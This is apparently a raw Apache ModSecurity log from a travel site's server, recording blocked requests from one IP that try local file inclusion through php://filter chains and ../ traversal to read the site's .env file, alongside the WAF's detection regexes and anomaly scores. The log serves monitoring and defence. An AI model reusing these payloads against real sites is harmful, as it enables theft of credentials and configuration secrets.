[Fri Jul 17 08:55:11.131226 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&extra=e8uyzqpelqcrucumre_zdiy6tfovaxcrj55m1gk5nw7bksnl5ks1r708wkfcllxvpek6n1gooqyn_w8i7mcpb7m5rte4xgozrgdcknibizsr9jxd5ie6sgvsth-x9lj9soxw00ydz8tu9uyj_rfxigdaaps6hvgtzgc-_tic1mjhf9ejsafdafygyq0gm23muc32jdsttzyujsjnjzgsxyfbnkfmjust6lwvhepovxgxnvt8p-8js8wupeqlpivawpyamqt_mjbmtenwltkkl19e&anything=bhrpvcedhmgbyyxu56lc7ced426is6xvdk732b4nlekmoovo4yykiohnxyhg6633eosk5nlfmcm2oigdr5ykiv5c..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.131272 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.131298 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.131671 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.132251 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&doc=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ref=eh0O7wb9ikTwY7AVKWQRUPP8S02zcpv0YTrmNy-LqkIbh5M7YjDl-Xj18DWpLKYX9QSriEfRAjrLXbT0rpDlsajrUkqHNeK90D6YwZbF62qUI8kvOWXMMFtt77BT8AFaka_Rlx9RAyxhmqwsUox_akjPKwadtU3EQTJOnaqJhaD_2DOe1ml_EbsPqgkmpB31aigcg66jWJHez6aKYggQyv35ty-2ZSf3qwXigHI3447aOaB4vRR8kYBdcDlv0mGTNSHdH1hpGzLzt3XHRNCukgdg&extra=LNM3Q4N4MAO4EPZQI3LW5LX4P3W7X75ZDW2GVMMSL6HWC..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.132293 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.132338 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&ref=eh0O7wb9ikTwY7AVKWQRUPP8S02zcpv0YTrmNy-LqkIbh5M7YjDl-Xj18DWpLKYX9QSriEfRAjrLXbT0rpDlsajrUkqHNeK90D6YwZbF62qUI8kvOWXMMFtt77BT8AFaka_Rlx9RAyxhmqwsUox_akjPKwadtU3EQTJOnaqJhaD_2DOe1ml_EbsPqgkmpB31aigcg66jWJHez6aKYggQyv35ty-2ZSf3qwXigHI3447aOaB4vRR8kYBdcDlv0mGTNSHdH1hpGzLzt3XHRNCukgdg&extra=LNM3Q4N4MAO4EPZQI3LW5LX4P3W7X75ZDW2GVMMSL6HWCAASAWGCSC3PZHDIRHIH3ZKQ2EOK6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.132380 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&doc=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&ref=eh0o7wb9iktwy7avkwqrupp8s02zcpv0ytrmny-lqkibh5m7yjdl-xj18dwplkyx9qsriefrajrlxbt0rpdlsajrukqhnek90d6ywzbf62qui8kvowxmmftt77bt8afaka_rlx9rayxhmqwsuox_akjpkwadtu3eqtjonaqjhad_2doe1ml_ebspqgkmpb31aigcg66jwjhez6akyggqyv35ty-2zsf3qwxighi3447aoab4vrr8kybdcdlv0mgtnshdh1hpgzlzt3xhrncukgdg&extra=lnm3q4n4mao4epzqi3lw5lx4p3w7x75zdw2gvmmsl6hwcaasawgcsc3pzhdirhih3zkq2eok6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.132408 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.132438 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:doc: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.132661 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.132772 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.132778 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.133052 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.133108 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.133118 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSawAAAB4"]
[Fri Jul 17 08:55:11.135383 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.135517 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.135796 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-KgAAABw"]
[Fri Jul 17 08:55:11.135992 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:doc. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:doc: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PmgAAABk"]
[Fri Jul 17 08:55:11.136967 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PmgAAABk"]
[Fri Jul 17 08:55:11.137120 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.137399 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PmgAAABk"]
[Fri Jul 17 08:55:11.143662 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&document=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&anything=maWuYuieQ-xw-DT_CrHYmF1Smb8K_Zm2bn7oXGw6179DMv6FPodK7zJHJ9I7URjByqyU4ZnhGmkySghvtU65caf2XWXrlO9R0RngbdxO9q7cd54H6hj0GSSdEoLJP2S4Z1qhhHZBTNmFu1GHB66pWSEWIozGHrbuvKuYmN2d1vpY3BpyIcNSzWcn7g_R0GyrtX-4nMtNI1tdl1wTECXL4Md8wzy5rvm9BRxv_N29v_IoYsYKixDK21sEVJxJa_Zi0zkAxwWeQ2aBcdm_dYOM_mun&cb=45JJCO3LPEI6Q45LAXKVOSY2SJQIQC44P66K6ROVXCLKCFWEYZOBGX5UQCFM6FUIZBA55AYOD3K..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
[Fri Jul 17 08:55:11.143709 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
[Fri Jul 17 08:55:11.143764 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.base64-encode/resource=../../.env&anything=maWuYuieQ-xw-DT_CrHYmF1Smb8K_Zm2bn7oXGw6179DMv6FPodK7zJHJ9I7URjByqyU4ZnhGmkySghvtU65caf2XWXrlO9R0RngbdxO9q7cd54H6hj0GSSdEoLJP2S4Z1qhhHZBTNmFu1GHB66pWSEWIozGHrbuvKuYmN2d1vpY3BpyIcNSzWcn7g_R0GyrtX-4nMtNI1tdl1wTECXL4Md8wzy5rvm9BRxv_N29v_IoYsYKixDK21sEVJxJa_Zi0zkAxwWeQ2aBcdm_dYOM_mun&cb=45JJCO3LPEI6Q45LAXKVOSY2SJQIQC44P66K6ROVXCLKCFWEYZOBGX5UQCFM6FUIZBA55AYOD3K2DT6KLCW4565ZF54OFSHGBV4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
[Fri Jul 17 08:55:11.143811 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&document=php://filter/convert.base64-encode/resource=../../.env&anything=mawuyuieq-xw-dt_crhymf1smb8k_zm2bn7oxgw6179dmv6fpodk7zjhj9i7urjbyqyu4znhgmkysghvtu65caf2xwxrlo9r0rngbdxo9q7cd54h6hj0gssdeoljp2s4z1qhhhzbtnmfu1ghb66pwsewiozghrbuvkuymn2d1vpy3bpyicnszwcn7g_r0gyrtx-4nmtni1tdl1wtecxl4md8wzy5rvm9brxv_n29v_ioysykixdk21sevjxja_zi0zkaxwweq2abcdm_dyom_mun&cb=45jjco3lpei6q45laxkvosy2sjqiqc44p66k6rovxclkcfweyzobgx5uqcfm6fuizba55ayod3k2dt6klcw4565zf54ofshgbv4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
[Fri Jul 17 08:55:11.143871 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
[Fri Jul 17 08:55:11.143916 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:document: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
[Fri Jul 17 08:55:11.144317 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:document: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBPQAAAAY"]
